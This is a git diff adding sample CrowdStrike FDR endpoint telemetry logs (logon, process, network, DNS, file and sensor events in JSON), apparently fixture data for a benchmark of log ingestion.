a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log new file mode 100644 index 0000000000..a663f3cdd4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log @@ -0,0 +1 @@ +{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log new file mode 100644 index 0000000000..f3d053e28c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log @@ -0,0 +1,128 @@ +{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1625677520.973","ConfigStateHash":"3090255842","ContextProcessId":"365044948432500700","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"0500000100000000000000000000000021b0260000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OoxmlFileWrittenMacV1","id":"ffffffff-1111-11eb-8ad1-02cfdadef55f","EffectiveTransmissionClass":"2","aid":"ffffffff20bd481a98a3d1f6191047ff","timestamp":"1625677521081","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user1/Library/Application Support/Google/DriveFS/110588730849638631570/content_cache/d23/d44/432508"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677530.308","ConfigStateHash":"3469235958","ConnectionFlags":"0","ContextProcessId":"12227094573885","RemotePort":"80","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59926","Entitlements":"15","name":"NetworkConnectIP4LinV5","id":"ffffffff-1111-11eb-b727-028bbe41f38d","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffffbd064538b214ab0dce8e82c3","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677530841","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1156120155","ChannelDiffStatus":"1","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"12","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV2","id":"ffffffff-1111-11eb-b7e0-02332cdcc16d","ErrorCode":"0","aid":"ffffffff25b14d4aa96de99e24bad2fa","timestamp":"1625677493974","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677520.686","aip":"67.43.156.14","PhysicalAddress":"6e-9e-e0-1f-6d-7d","InterfaceAlias":"vethdeb0243","InterfaceIndex":"3736","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP6LinV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","PhysicalAddressLength":"6","aid":"ffffffffc9114c1898e79604708955a6","timestamp":"1625677521218","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ChannelVersion":"0","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"1620585913","ChannelDiffStatus":"1","aip":"67.43.156.13","ChannelVersionRequired":"0","ChannelId":"210","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ChannelVersionRequiredMacV2","id":"ffffffff-1111-11eb-8cc5-02c6fb049dd3","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"ffffffff2d7b4778a73b2cf58d327e42","timestamp":"1625677480455","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"1156120155","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ConfigurationVersion":"10","name":"SensorHeartbeatLinV4","ConfigIDPlatform":"8","id":"ffffffff-1111-11eb-993f-02b8dc387eb5","ConfigIDBuild":"11611","aid":"fffffffff6e146908cbf31d72b94b626","timestamp":"1625677540292","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1625677528.570","ConfigStateHash":"3090255842","ContextProcessId":"364783686797112486","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000986b480e00000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"JavaClassFileWrittenMacV1","id":"ffffffff-1111-11eb-97c6-02fd02aca859","EffectiveTransmissionClass":"2","aid":"ffffffff083845f68a7de3d95cb34361","timestamp":"1625677528717","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user2/shopper-one/tooling/teams-plugin/build/classes/kotlin/main/com/instacart/shopper/tooling/TeamsPlugin$apply$$inlined$configure$1.class"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1625677512.700","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"364796317497854624","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP4MacV10","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff96f142f6b2475f3c584ddd80","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"0","InContext":"0","timestamp":"1625677512892","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DnsRequest","ContextTimeStamp":"1625677475.806","ConfigStateHash":"1620585913","ContextProcessId":"364977197365370629","DomainName":"jss.dom1.com","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"DnsRequestMacV1","id":"ffffffff-1111-11eb-9644-060415b1fd87","EffectiveTransmissionClass":"2","aid":"ffffffff7ecf4e61bba14ca5ac5d17b1","timestamp":"1625677476111","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"28"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677504.770","ConfigStateHash":"1620585913","ContextProcessId":"365053504406857894","Size":"0","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"2d9a331f045a9c6b13d45eabe948b5c7dfdc25e1251bff6756fa306581087da9","FileIdentifier":"05000001000000000000000000000000b588050000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewScriptWrittenMacV2","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677540055","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/BitBar/countdown_timer.1s.py"} +{"InterfaceIndex":"186","ConfigBuild":"1007.8.0011611.1","event_simpleName":"LocalIpAddressRemovedIP6","event_platform":"Lin","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1156120155","name":"LocalIpAddressRemovedIP6LinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-b3c1-02ff598b7945","aid":"ffffffffbfbf4ff5aa56a26ad3c1a942","timestamp":"1625677526386","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"DirectoryCreate","ContextTimeStamp":"1625677499.994","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053555029062046","ContextThreadId":"0","aip":"67.43.156.14","Flags":"0","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"0","Entitlements":"15","name":"DirectoryCreateMacV1","id":"ffffffff-1111-11eb-92d2-0286f570f8e1","VnodeType":"2","EffectiveTransmissionClass":"2","aid":"ffffffff24db47799d1a85aae61dc7bc","TargetDirectoryName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871","timestamp":"1625677500089","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/s8/9c47txv13vj8qx_m7cqtx2w80000gp/T/.LINKS/2F71C2D4-D215-453E-BF4C-D6C037502871"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"NetworkCloseIP4","ContextTimeStamp":"1625677517.658","ConfigStateHash":"1479784503","ConnectionFlags":"0","ContextProcessId":"84424232977619","RemotePort":"443","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"40394","Entitlements":"15","name":"NetworkCloseIP4LinV6","id":"ffffffff-1111-11eb-9015-02e89cda7d5f","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff58de4e748d9f64c85a9b49e6","RemoteAddressIP4":"67.43.156.13","ConnectionDirection":"2","InContext":"0","timestamp":"1625677517986","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"VolumeMediaName":"AppleAPFSMedia","VolumeDeviceProtocol":"PCI-Express","VolumeDeviceVendor":"","ContextThreadId":"0","VolumeMediaContent":"41504653-0000-11AA-AA11-00306543ECAC","VolumeMediaEjectable":"0","aip":"67.43.156.14","VolumeAppearanceTime":"1625677422.647","VolumeDeviceModel":"APPLE SSD SM0256L","VolumeMediaBSDName":"disk1s3","VolumeMountPoint":"/Volumes/Recovery","event_platform":"Mac","VolumeType":"APFS","VolumeMediaRemovable":"0","VolumeMediaBSDUnit":"1","VolumeFileSystemDriver":"apfs","id":"ffffffff-1111-11eb-956a-02748d01bd3d","VolumeMediaSize":"250685575168","EffectiveTransmissionClass":"2","VolumeBusName":"IONVMeController","timestamp":"1625677496804","VolumeMediaBSDMinor":"8","VolumeMediaWritable":"1","event_simpleName":"FsVolumeMounted","VolumeDevicePath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1","VolumeName":"Recovery","ContextTimeStamp":"1625677496.750","VolumeSectorSize":"4096","ConfigStateHash":"3090255842","ContextProcessId":"365053546767850587","VolumeBusPath":"IODeviceTree:/PCI0@0/RP01@1C/SSD0@0/IONVMeController","VolumeDeviceInternal":"1","ConfigBuild":"1007.4.0013701.1","VolumeUUID":"85400FAD-01F9-0442-8C5D-441F365D4909","VolumeDeviceRevision":"CXS4LA0Q","Entitlements":"15","name":"FsVolumeMountedMacV1","VolumeMediaBSDMajor":"1","VolumeMediaPath":"IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/RP01@1C/IOPP/SSD0@0/IONVMeController/IONVMeBlockStorageDevice@1/IOBlockStorageDriver/APPLE SSD SM0256L Media/IOGUIDPartitionScheme/NoName@2/AppleAPFSContainerScheme/AppleAPFSMedia/AppleAPFSContainer/Recovery@3","aid":"ffffffff8eca418b7a861be9c5f7de1d","VolumeMediaUUID":"AD0F4085-F901-4204-8C5D-441F365D4909","VolumeMediaWhole":"0","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"1156120155","CreationTimeStamp":"1625677513.841","aip":"67.43.156.14","PhysicalAddress":"0e-d6-ff-ff-ff-63","InterfaceAlias":"eth0","InterfaceIndex":"2","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","InterfaceType":"1","name":"LocalIpAddressIP4LinV1","id":"ffffffff-1111-11eb-9c94-0222a21bbb27","PhysicalAddressLength":"6","aid":"ffffffff190e436aaebc3892bcda5beb","timestamp":"1625677514374","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"3967242894","aip":"67.43.156.13","InterfaceIndex":"8","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressRemovedIP6MacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.14","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"llw0","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","PhysicalAddressLength":"6","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677521723","event_simpleName":"LocalIpAddressIP6","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","PhysicalAddress":"c2-27-b0-27-83-0f","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"0","Entitlements":"15","name":"LocalIpAddressIP6MacV1","aid":"ffffffff0ad7494e8e817b3903f4eebb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677507.037","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364432308748445743","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"50647","Entitlements":"15","name":"NetworkListenIP4MacV10","id":"ffffffff-1111-11eb-8b36-06a8af5164a9","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff23d24c4193ffa6f270775ee5","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677507086","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1625677536.729","ConfigStateHash":"3090255842","ContextProcessId":"364994904864288322","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ExecutableDeletedMacV1","id":"ffffffff-1111-11eb-8ca0-0231588e8cbb","EffectiveTransmissionClass":"2","aid":"ffffffffa7bf46da689501ce58bd6987","timestamp":"1625677536784","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/Library/Caches/com.tinyspeck.slackmacgap.ShipIt/update.FXKsmFO/Slack.app/Contents/Frameworks/Squirrel.framework/Versions/A/Resources/ShipIt"} +{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"} +{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"} 